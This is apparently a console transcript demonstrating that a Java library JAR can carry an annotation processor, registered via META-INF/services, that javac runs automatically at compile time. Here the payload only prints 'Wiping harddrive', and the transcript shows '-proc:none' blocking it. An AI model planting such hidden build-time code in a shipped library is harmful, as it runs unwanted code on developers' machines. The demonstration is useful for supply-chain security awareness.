C:\Work\jap>test C:\Work\jap>del *.jar C:\Work\jap>cd malwarelib C:\Work\jap\malwarelib>cd mylib C:\Work\jap\malwarelib\mylib>type BrilliantStuff.java package mylib; public class BrilliantStuff { public void demo() { System.out.println("BrilliantStuff.demo called"); } } C:\Work\jap\malwarelib\mylib>javac BrilliantStuff.java C:\Work\jap\malwarelib\mylib>cd .. C:\Work\jap\malwarelib>jar cvf ..\brilliant.jar mylib\*.class added manifest adding: mylib/BrilliantStuff.class(in = 429) (out= 291)(deflated 32%) C:\Work\jap\malwarelib>cd .. C:\Work\jap>type Test.java import mylib.BrilliantStuff; public class Test { public static void main(String[] args) { BrilliantStuff bs = new BrilliantStuff(); bs.demo(); } } C:\Work\jap>javac -cp brilliant.jar Test.java C:\Work\jap>java -cp .;brilliant.jar Test BrilliantStuff.demo called C:\Work\jap>cd malwarelib C:\Work\jap\malwarelib>cd myproc C:\Work\jap\malwarelib\myproc>type Malware.java package myproc; import java.util.HashSet; import java.util.Set; import javax.annotation.processing.AbstractProcessor; import javax.annotation.processing.ProcessingEnvironment; import javax.annotation.processing.RoundEnvironment; import javax.lang.model.SourceVersion; import javax.lang.model.element.TypeElement; public class Malware extends AbstractProcessor { @Override public synchronized void init(ProcessingEnvironment env) { System.out.println("Wiping harddrive"); } @Override public boolean process(Set annoations, RoundEnvironment env) { return false; } @Override public Set getSupportedAnnotationTypes() { return new HashSet(); } @Override public SourceVersion getSupportedSourceVersion() { return SourceVersion.latestSupported(); } } C:\Work\jap\malwarelib\myproc>javac Malware.java C:\Work\jap\malwarelib\myproc>cd .. C:\Work\jap\malwarelib>jar uvf ..\brilliant.jar myproc\*.class adding: myproc/Malware.class(in = 1080) (out= 552)(deflated 48%) C:\Work\jap\malwarelib>cd .. C:\Work\jap>javac -cp brilliant.jar Test.java C:\Work\jap>java -cp .;brilliant.jar Test BrilliantStuff.demo called C:\Work\jap>javac -cp brilliant.jar -processorpath brilliant.jar -processor myproc.Malware Test.java Wiping harddrive C:\Work\jap>java -cp .;brilliant.jar Test BrilliantStuff.demo called C:\Work\jap>cd malwarelib C:\Work\jap\malwarelib>type META-INF\services\javax.annotation.processing.Processor myproc.Malware C:\Work\jap\malwarelib>jar uvf ..\brilliant.jar META-INF\services\* adding: META-INF/services/javax.annotation.processing.Processor(in = 16) (out= 18)(deflated -12%) C:\Work\jap\malwarelib>cd .. C:\Work\jap>javac -cp brilliant.jar Test.java Wiping harddrive C:\Work\jap>java -cp .;brilliant.jar Test BrilliantStuff.demo called C:\Work\jap>javac -cp brilliant.jar -proc:none Test.java C:\Work\jap>java -cp .;brilliant.jar Test BrilliantStuff.demo called C:\Work\jap>